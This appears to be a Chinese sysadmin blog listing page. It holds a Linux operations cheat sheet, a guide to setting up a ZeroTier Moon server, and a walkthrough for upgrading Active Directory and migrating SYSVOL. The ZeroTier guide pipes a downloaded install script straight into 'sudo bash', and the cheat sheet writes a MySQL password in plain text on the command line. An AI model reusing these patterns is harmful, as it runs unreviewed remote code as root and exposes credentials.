22:05:38 CST Universal time: Sat 2022-04-16 14:05:38 UTC RTC time: Sat 2022-04-16 14:05:38 Time zone: Asia/Shanghai (CST, +0800) NTP enabled: yes NTP synchronized: yes RTC in local TZ: no DST active: n/a chronyc -a makestep 立即同步时间 chronyc tracking 查看同步状态linux查看外网IPcurl ifconfig.me临时切换中文环境export LANG=zh_CN.utf8显示80,443并发数,显示nginx phpfpm mysql进程数,显示负载 内存 swap CPU使用率echo "";echo "uptime" ;uptime | awk '{print $3 $4 $5}';echo http 80: ; netstat -na | grep :80 |grep -v grep | wc -l ;echo https 443: ; netstat -na | grep :443 |grep -v grep | wc -l ;echo php-fpm: ; ps aux | grep php-fpm|grep -v grep | wc -l ;echo nginx: ;ps aux | grep nginx|grep -v grep| wc -l;echo mysql: ;ps aux | grep mysql |grep -v grep| wc -l ;echo load:;w | grep load| awk '{print $10,$11 $12}';echo UseMem MB:;free -m | grep buffers/cache|grep -v grep | awk '{print $3}';echo FreeMem MB:;free -m | grep buffers/cache|grep -v grep | awk '{print $4}';echo UseSwap MB:;free -m | grep Swap |grep -v grep| awk '{print $3}';echo CPU:;top -n1 | grep Cpu;echo ;echo ; echo整站爬取wget -E --referer http://wo166.com/ -r -m -k http://wo166.com/mysql数据库操作,导出导入mysqldump -utntsec -ptnt123456789sql -h127.0.0.1 -P3306 --routines --default-character-set=utf8 --databases tntsec > tntsecbak.sql mysql -utntsec -ptnt123456789sql -h127.0.0.1 -P3306 --default-character-set=utf8 tntsec < tntsecbak.sqliptables防火墙操作,ip6tables操作相同iptables -I INPUT -p tcp --dport 80 -j ACCEPT iptables -I INPUT -p tcp --dport 22 -j ACCEPT iptables -I INPUT -p tcp --dport 3306 -j ACCEPT /etc/rc.d/init.d/iptables save /etc/init.d/iptables status iptables -A INPUT -i lo -j ACCEPT 当前规则/etc/sysconfig/iptables -A INPUT -p tcp -m tcp --dport 443 -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m state --state NEW -m tcp --dport 25000 -j ACCEPT -A INPUT -j REJECT --reject-with icmp-host-prohibited -A FORWARD -j REJECT --reject-with icmp-host-prohibited firewalld防火墙操作firewall-cmd --add-port=80/tcp --permanent firewall-cmd --permanent --add-port=10050-10051/tcp firewall-cmd --reload firewall-cmd --list-ports firewall-cmd --list-services查看端口监听和占用状态 yum -y install net-tools[root@zabbix ~]# netstat -lnpt | grep 80 tcp6 0 0 :::80 :::* LISTEN 4880/httpd [root@zabbix ~]# ps aux | grep 4880 | grep -v grep root 4880 0.0 0.0 230548 5288 ? Ss 18:53 0:00 /usr/sbin/httpd -DFOREGROUND zabbix 24880 0.0 0.0 677532 2720 ? S Apr12 0:21 /usr/sbin/zabbix_server: http poller #1 [got 0 values in 0.000742 sec, idle 5 sec]查看端口并发数netstat -na | grep :443 netstat -na | grep :8080 wc -lcentos7配置网卡VLAN ID/etc/sysconfig/network-scripts/ifcfg-ens192 PHYSDEV=ens192 VLAN=yes VLAN_ID=2 TYPE="VLAN" REORDER_HDR=yes GVRP=no MVRP=no #以上为新增配置 PROXY_METHOD="none" BROWSER_ONLY="no" BOOTPROTO="none" DEFROUTE="yes" IPV4_FAILURE_FATAL="no" IPV6INIT="yes" IPV6_AUTOCONF="yes" IPV6_DEFROUTE="yes" IPV6_FAILURE_FATAL="no" IPV6_ADDR_GEN_MODE="stable-privacy" NAME="ens192" UUID="279fcd97-8de8-473a-80e2-67257d05ef5e" #DEVICE="ens192" 屏蔽此配置 ONBOOT="yes" IPADDR="172.16.21.148" PREFIX="25" GATEWAY="172.16.21.254" DNS1="172.16.21.245" IPV6_PRIVACY="no" 挂载本地源 1、镜像挂载虚拟化环境镜像装载mkdir /mnt/cdrom mount /dev/cdrom /mnt/cdromISO镜像直接挂载mkdir /mnt/cdrom mount /xxdvd.iso /mnt/cdrom2、配置本地源/etc/yum.repos.d/Media.repo [InstallMedia] name=CentOS Linux 8 baseurl=file:///mnt/cdrom/BaseOS gpgcheck=0 enabled=1 [AppStream] name=AppStream baseurl=file:///mnt/cdrom/AppStream enabled=1 gpgcheck=03、关闭其他源enabled=0查看UUIDblkid ls -l /dev/disk/by-uuid vol_id /dev/sda1nginx负载均衡upstream appnode_proxy_backend_of_site_172.16.10.41 { server 172.16.10.39:12345 weight=1 max_fails=0 fail_timeout=10s backup; server 172.16.10.40:12345 weight=5 max_fails=0 fail_timeout=10s; server 172.16.10.42:12345 weight=1 max_fails=0 fail_timeout=10s; } server { listen 12345; access_log /data/mystack/sites/172.16.10.41/log/nginx/access.log proxy; proxy_pass appnode_proxy_backend_of_site_172.16.10.41; } 安装图形界面yum groupinstall "Server with GUI" -y设置图形启动systemctl set-default graphical{dotted startColor="#ff6c6c" endColor="#1989fa"/}linux挂载windows共享文件夹手动挂载mount -t cifs -o username="*",password='' //172.16.1.10/File /17216110File/ fstab自动挂载//172.16.1.10/File /17216110File cifs defaults,uid=1000,gid=1000,username="*",password='' 0 0查看# df -h /17216110File/ Filesystem Size Used Avail Use% Mounted on //172.16.1.10/File 301G 64G 237G 22% /17216110FilevSphere虚拟机XFS文件系统扩容1、通过vSphere扩大磁盘空间,添加新磁盘无需重启,扩大磁盘空间可能需要重启2、partprobe刷新磁盘空间,查看新添加的硬盘3、通过gdisk为新添加的硬盘分区,格式为lvm格式,partprobe刷新磁盘4、lsblk识别到分区5、创建PVpvcreate /dev/sdd16、扩展VGvgextend vg_data /dev/sdd17、扩展LVlvextend -l +100%FREE /dev/vg_data/lv_data8、XFS文件系统重新识别xfs_growfs /dev/vg_data/lv_data
2022年06月25日
4,710 阅读
3 评论
0 点赞
2022-06-24
使用ZeroTier快速组建SD-WAN网络,自行搭建Moon月亮服务器
ZeroTier是一套使用UDP协议构建的SD-WAN网络软件,其主要有三部分组成:行星服务器Planet、月亮服务器Moon、客户端节点LEFA行星服务器是ZeroTier的根节点,可以采用ZeroTier官方的服务器,也可以使用开源代码自行搭建月亮服务器介于行星与客户端之间,官方行星都在国外,因此可以就近公网搭建月亮服务器,客户端可以优先使用延迟更低的月亮节点进行P2P打通或者网络中转客户端节点既可以安装在客户端进行远程网络接入,也可以部署后开启路由转发功能,配置静态路由后实现两个网络组网一、配置ZeroTier网络注册并登录官网https://www.zerotier.com/创建一个网络NetworkID是此网络的唯一IDPRIVATE模式下需要管理员同意后才能进入网络PUBLIC模式下可以自由加入、退出创建内网IPV4网段,不可与现有网络网段冲突可以配置静态路由条目,如使用B类内网网段,则可以将172.16.0.0/12的路由整体指向目标IP勾选后的客户端才能加入网络,配置固定IP,即可互访二、安装客户端下载客户端https://www.zerotier.com/download/我这里使用的是win10,安装后加入上方创建的网络即可实现互联互通Join New NetWork三、配置Moon服务器Moon需具有公网IP,我这里使用的是公网centos7 VPScurl -s https://install.zerotier.com | sudo bash安装后加入网络 zerotier-cli join xxxxxxxx配置Moon服务进入配置文件目录cd /var/lib/zerotier-one/生成签名文件zerotier-idtool initmoon identity.public >>moon.json编辑moon.json文件记录下月亮节点ID并配置IP和端口"stableEndpoints": ["111.222.333.444/9993"]生成签名文件zerotier-idtool genmoon moon.json 显示: Copy wrote 0000006xxxxxxxxx.moon (signed world with timestamp 15xxxxxxxxxx7)创建服务目录mkdir /var/lib/zerotier-one/moons.d/将生成的签名文件复制到moons.d目录cp 0000006xxxxxxxxx.moon /var/lib/zerotier-one/moons.d/重启ZeroTier服务,月亮服务器搭建完成systemctl restart zerotier-one四、加入Moonwindows与linux操作相同,均需要使用命令行zerotier-cli listpeers 查看当前节点 zerotier-cli join <network ID> 加入网络 zerotier-cli leave <network ID> 退出网络 zerotier-cli orbit <world ID> <world ID> 加入月亮节点 zerotier-cli deorbit <world ID> 退出月亮节点五、开启路由转发、配置静态路由windows开启内核转发reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter /D 1 /f sc config RemoteAccess start= auto sc start RemoteAccess交换机配置静态路由[H3C]ip route-static 192.168.191.0 24 172.16.21.120 description SD-WAN完毕 此时内网任意一台主机都可以与客户端互通
2022年06月24日
617 阅读
0 评论
1 点赞
2022-06-23
windows AD域跨大版本升级,域、林2003升级至2016,系统2008迁移至2022
一、前言实验环境:系统分别为2008、2016、2022,当前2008为主域,2016为辅域,域、林级别为2003实验目标:下线2008系统,添加2022并设为主域控,域、林级别提升为2016.二、提升域、林级别三、退出、删除2008域控查看当前主域控四、2022加入域升级为域控会出现报错副本验证失败,因为从2019已经切换到DFS复制了,所以需要切换到DFS复制副本验证失败。指定域仍使用文件复制服务(FRS)复制SYSVOL共享。FRS弃用参考连接:https://www.cnblogs.com/ooflyoo/p/9494246.html迁移FRS至DFSR SYSVOLStateMigration Process for SYSVOL ReplicationStart (State 0)在SYSVOL迁移前,FRS复制SYSVOL共享文件夹Prepared (State 1)FRS继续复制域使用的SYSVOL共享文件夹,而DFS复制则复制SYSVOL文件夹的副本。SYSVOL文件夹的此副本不用于服务来自其他域控制器的请求。Redirected (State 2)SYSVOL文件夹的DFS复制副本将负责处理来自其他域控制器的SYSVOL请求。FRS继续复制原始的SYSVOL文件夹,但是DFS复制现在复制在重定向状态下使用域控制器的生产SYSVOL文件夹。Eliminated (State 3)DFS复制继续处理所有SYSVOL复制。Windows删除原始SYSVOL文件夹,FRS不再复制SYSVOL数据。1、验证目录复制运行正常,若有多台域控,必须保证域控之间复制正常repadmin /ReplSum2、备份SYSVOL共享文件夹C:\Windows\SYSVOL3、迁移域至prepared状态dfsrmig /SetGlobalState 1等待所有控制器进入Prepared状态dfsrmig /getglobalstate 当前的DFSR全局状态:“准备就绪” 已成功dfsrmig /getmigrationstate 全局状态:“准备就绪”4、迁移域至Redirected状态dfsrmig /setglobalstate 2等待所有控制器进入Redirected状态dfsrmig /getglobalstatedfsrmig /getmigrationstate 全局状态:“已重定向”5、迁移域至Eliminated状态dfsrmig /setglobalstate 3等待所有控制器进入Eliminated状态dfsrmig /getglobalstatedfsrmig /getmigrationstate 全局状态:“已消除”至此迁移完成 五、2022再次加入域控,进行迁移主域控转交给2022Move-ADDirectoryServerOperationMasterRole -Identity AD3 -OperationMasterRole SchemaMaster,DomainNamingMaster,PDCEmulator,RIDMaster,InfrastructureMaster -force查看当前主域控netdom query fsmo六、提升域、林级别到2016AD管理中心提升域功能级别到2016提升林功能级别到2016查看复制状态repadmin /replsummary登录2016查看当前域、林级别完成
2022年06月23日
648 阅读
0 评论
3 点赞
1
...
12
13
14
...
22